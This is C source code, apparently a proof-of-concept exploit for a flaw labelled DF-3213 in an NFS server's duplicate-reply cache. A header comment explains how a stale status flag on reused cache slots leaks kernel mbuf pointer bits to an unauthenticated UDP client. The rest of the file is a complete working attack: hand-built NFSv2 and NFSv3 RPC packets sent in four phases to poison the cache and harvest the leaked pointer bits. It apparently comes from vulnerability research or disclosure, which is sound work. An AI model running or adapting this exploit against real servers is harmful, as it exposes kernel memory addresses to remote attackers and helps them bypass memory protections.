/*
 * DF-3213 PoC — stale RC_REPSTATUS flag on dup-reply-cache slot reuse
 * => rc_status/rc_reply union type confusion => kernel mbuf pointer
 *    material sent to an unauthenticated remote UDP client.
 *
 * Attack shape (all requests from one UDP source addr, no credentials,
 * no valid filehandles, no export access required — only running nfsd):
 *
 *   phase A: M distinct NFSv2 SYMLINK (wire proc 13 -> generic 10)
 *            requests, distinct xids.
 *            Each is nonidempotent + v2-repstat => cache entries get
 *            RC_REPSTATUS (nfs_srvcache.c:337-338). rc_status = small err.
 *   phase B: (CACHE - M) v2 NULL fillers => cache exactly full; the M
 *            stale entries are the oldest (LRU head side).
 *   phase C: M distinct NFSv3 REMOVE (wire proc 12 -> generic 12)
 *            requests. Each MISS evicts
 *            the LRU-head stale entry and REUSES it — eviction clears only
 *            RC_REPMBUF|RC_NAM (nfs_srvcache.c:253-262), RC_REPSTATUS
 *            SURVIVES. The v3 completion takes the mbuf branch
 *            (nfs_srvcache.c:340-347) => rc_reply = m_copym(...) and
 *            RC_REPMBUF set. Now BOTH flags set and the union holds an
 *            mbuf pointer.
 *   phase D: retransmit each v3 REMOVE (same xid). Cache hit takes the
 *            RC_REPSTATUS branch FIRST (nfs_srvcache.c:212) =>
 *            nfs_rephead(0, nd, slp, rp->rc_status = low32(rc_reply)).
 *            nfs_rephead (nfs_socket.c:1614-1620): if bit30 set =>
 *            MSG_DENIED/rpc_autherr with (err & ~0x40000000) RAW on the
 *            wire = 31 bits of the kernel mbuf pointer. Else the value is
 *            clamped by nfsrv_errmap and the reply is a wrong, status-only
 *            reply that differs from the original v3 reply.
 *   control: fresh v3 REMOVE (evicts a filler, no stale flag): its
 *            retransmit reply must be byte-identical (legit mbuf resend).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define NFS_PROG	100003
#define SRV_PORT	2049

static int sock;
static struct sockaddr_in dst;

static uint32_t buf[256];

static void
be32put(int i, uint32_t v)
{
	buf[i] = htonl(v);
}

/* builds RPC header (15 words) incl. AUTH_UNIX(uid=65534,gid=65534,0 grps)
 * + AUTH_NULL verifier; returns next word index */
static int
hdr(uint32_t xid, uint32_t nfsversion, uint32_t proc)
{
	memset(buf, 0, sizeof(buf));
	be32put(0, xid);		/* xid */
	be32put(1, 0);			/* CALL */
	be32put(2, 2);			/* rpc vers 2 */
	be32put(3, NFS_PROG);
	be32put(4, nfsversion);		/* 2 or 3 */
	be32put(5, proc);
	be32put(6, 1);			/* AUTH_UNIX */
	be32put(7, 20);			/* cred len (words 8..12) */
	be32put(8, 0x41414141);		/* stamp (ignored) */
	be32put(9, 0);			/* machine name len = 0 */
	be32put(10, 65534);		/* uid */
	be32put(11, 65534);		/* gid */
	be32put(12, 0);			/* ngids = 0 */
	be32put(13, 0);			/* verf flavor AUTH_NULL */
	be32put(14, 0);			/* verf len */
	return (15);
}

static int
sendit(int nwords)
{
	const socklen_t alen = sizeof(dst);
	return (sendto(sock, buf, nwords * 4, 0,
	    (struct sockaddr *)&dst, alen));
}

static int
recvreply(uint32_t *r, int maxwords, int waitms)
{
	static char rb[8192];
	struct timeval tv;
	fd_set fds;
	int n;

	tv.tv_sec = waitms / 1000;
	tv.tv_usec = (waitms % 1000) * 1000;
	FD_ZERO(&fds);
	FD_SET(sock, &fds);
	n = select(sock + 1, &fds, NULL, NULL, &tv);
	if (n <= 0)
		return (-1);
	n = recv(sock, rb, sizeof(rb), 0);
	if (n < 4)
		return (-1);
	n = n / 4;
	if (n > maxwords)
		n = maxwords;
	memcpy(r, rb, n * 4);
	for (int i = 0; i < n; i++)
		r[i] = ntohl(r[i]);
	return (n);
}

static int
send_null(uint32_t xid)
{
	int n = hdr(xid, 2, 0 /* NFSPROC_NULL */);
	return (sendit(n));
}

static int
send_v2_symlink(uint32_t xid)
{
	/* v2 wire proc 13 == SYMLINK -> generic 10 (nonidempotent, v2-repstat) */
	int n = hdr(xid, 2, 13);
	/* args: 32-byte all-zero v2 filehandle (8 words) */
	n += 8;
	be32put(n++, 1);		/* name len */
	be32put(n++, 0x00616100);	/* "a\0\0" */
	n += 8;				/* v2 sattr (8 words) */
	return (sendit(n));
}

static int
send_v3_remove(uint32_t xid)
{
	/* v3 wire proc 12 == REMOVE -> generic 12 (nonidempotent, mbuf branch) */
	int n = hdr(xid, 3, 12);
	be32put(n++, 64);		/* fh len = NFSX_V3FHMAX */
	n += 16;				/* 64 bytes of zero fh */
	be32put(n++, 1);			/* name len */
	be32put(n++, 0x00616100);		/* "a" */
	n += 4;					/* pad: never dissected */
	return (sendit(n));
}

static void
drain(int ms)
{
	uint32_t r[64];
	while (recvreply(r, 64, ms) > 0)
		;
}

int
main(int argc, char **argv)
{
	uint32_t r[64];
	struct sockaddr_in src;
	int M = (argc > 1) ? atoi(argv[1]) : 192;
	int CACHE = (argc > 2) ? atoi(argv[2]) : 2048;
	int i, n, leaks = 0, corruptions = 0;
	static uint32_t orig[256][64];
	static int origlen[256];

	sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock < 0) { perror("socket"); exit(1); }
	memset(&src, 0, sizeof(src));
	src.sin_family = AF_INET;
	src.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	src.sin_port = 0;
	if (bind(sock, (struct sockaddr *)&src, sizeof(src)) < 0)
		{ perror("bind"); exit(1); }
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	dst.sin_port = htons(SRV_PORT);

	printf("DF-3213: M=%d poisoned slots, cache=%d entries\n", M, CACHE);

	/* sanity probe */
	send_null(0x1000);
	n = recvreply(r, 64, 3000);
	if (n < 0) {
		printf("FAIL: no reply from nfsd on 127.0.0.1:2049\n");
		exit(1);
	}
	printf("probe NULL reply: %d words, xid=%08x mtype=%d\n",
	    n, r[0], (int)r[1]);

	/* phase A: M v2 SYMLINKs -> RC_REPSTATUS entries */
	for (i = 0; i < M; i++) {
		send_v2_symlink(0x2000 + i);
		n = recvreply(r, 64, 200);	/* drain its reply */
		if (i == 0) {
			int j;
			printf("phase A [0] reply: %d words:", n);
			for (j = 0; j < n && j < 10; j++)
				printf(" %08x", r[j]);
			printf("\n");
		}
	}
	drain(300);
	printf("phase A done: %d v2 SYMLINK (repstat) entries\n", M);

	/* phase B: fill cache to exactly CACHE entries */
	for (i = 0; i < CACHE - M; i++) {
		send_null(0x400000 + i);
		if ((i & 255) == 255)
			drain(200);
	}
	drain(1500);
	printf("phase B done: cache full (%d entries)\n", CACHE);

	/* phase C: M v3 REMOVEs, each evicts+reuses one stale slot */
	for (i = 0; i < M; i++) {
		send_v3_remove(0x6000 + i);
		n = recvreply(r, 64, 1000);
		if (i == 0) {
			int j;
			printf("phase C [0] orig reply: %d words:", n);
			for (j = 0; j < n && j < 10; j++)
				printf(" %08x", r[j]);
			printf("\n");
		}
		if (n > 0) {
			origlen[i] = n;
			memcpy(orig[i], r, n * 4);
		} else {
			origlen[i] = -1;
		}
	}
	drain(500);
	printf("phase C done: %d v3 REMOVE stored into stale slots\n", M);

	/* phase D: retransmit each v3 REMOVE */
	printf("phase D: retransmits\n");
	for (i = 0; i < M; i++) {
		send_v3_remove(0x6000 + i);
		n = recvreply(r, 64, 1000);
		if (n <= 0) {
			printf("  [%03d] no reply on retransmit (dropped?)\n", i);
			continue;
		}
		if (r[1] == 1 && r[2] == 1 && n >= 5 && r[3] == 1) {
			/* MSG_DENIED / rpc_autherr: raw err & ~0x40000000 */
			uint32_t v = r[4];
			printf("  [%03d] LEAK: MSG_DENIED auth_stat=%08x "
			    "=> mbuf low32 ~= %08x (bit30 set)\n",
			    i, v, (v | 0x40000000u));
			leaks++;
		} else if (origlen[i] > 0 &&
		    (n != origlen[i] || memcmp(r, orig[i], n * 4) != 0)) {
			/*
			 * accepted reply: [xid][1][0][0][0][accept0][status]
			 * status word = r[6] = nfsrv_errmap(rc_status).
			 * rc_status aliases the rc_reply mbuf pointer when
			 * both RC_REPSTATUS|RC_REPMBUF are set; a genuine
			 * stale small status (ESTALE=70) is whitelisted for
			 * REMOVE and would map to itself; a pointer value
			 * falls through to the default NFSERR_IO(5) unless
			 * bit30 is set (raw msg_denied path above).
			 */
			uint32_t st = (n >= 7) ? r[6] : 0xDEADBEEF;
			if (i < 8 || (st != 5 && st != 0xDEADBEEF)) {
				int j;
				printf("  [%03d] CORRUPT: orig %d words vs "
				    "%d words; new status=%u :",
				    i, origlen[i], n, st);
				for (j = 0; j < n && j < 10; j++)
					printf(" %08x", r[j]);
				printf("\n");
			} else {
				printf("  [%03d] CORRUPT: status-only reply,"
				    " status=5 (NFSERR_IO default: pointer"
				    " bits not whitelisted)\n", i);
			}
			corruptions++;
		} else {
			printf("  [%03d] identical resend (no bit30, "
			    "clamped or unpoisoned)\n", i);
		}
	}

	/* control: fresh entry, clean slot */
	send_v3_remove(0x7000);
	n = recvreply(r, 64, 1000);
	if (n > 0) {
		uint32_t ctl[64];
		int cl = n;
		memcpy(ctl, r, n * 4);
		send_v3_remove(0x7000);
		n = recvreply(r, 64, 1000);
		if (n == cl && memcmp(ctl, r, n * 4) == 0)
			printf("control: fresh v3 REMOVE retransmit -> "
			    "byte-identical resend (expected)\n");
		else
			printf("control: UNEXPECTED divergence on clean "
			    "entry (n=%d cl=%d)\n", n, cl);
	}

	printf("RESULT: %d raw pointer leaks, %d stale-status corruptions, "
	    "%d total poisoned\n", leaks, corruptions, M);
	return ((leaks > 0) ? 0 : ((corruptions > 0) ? 2 : 1));
}
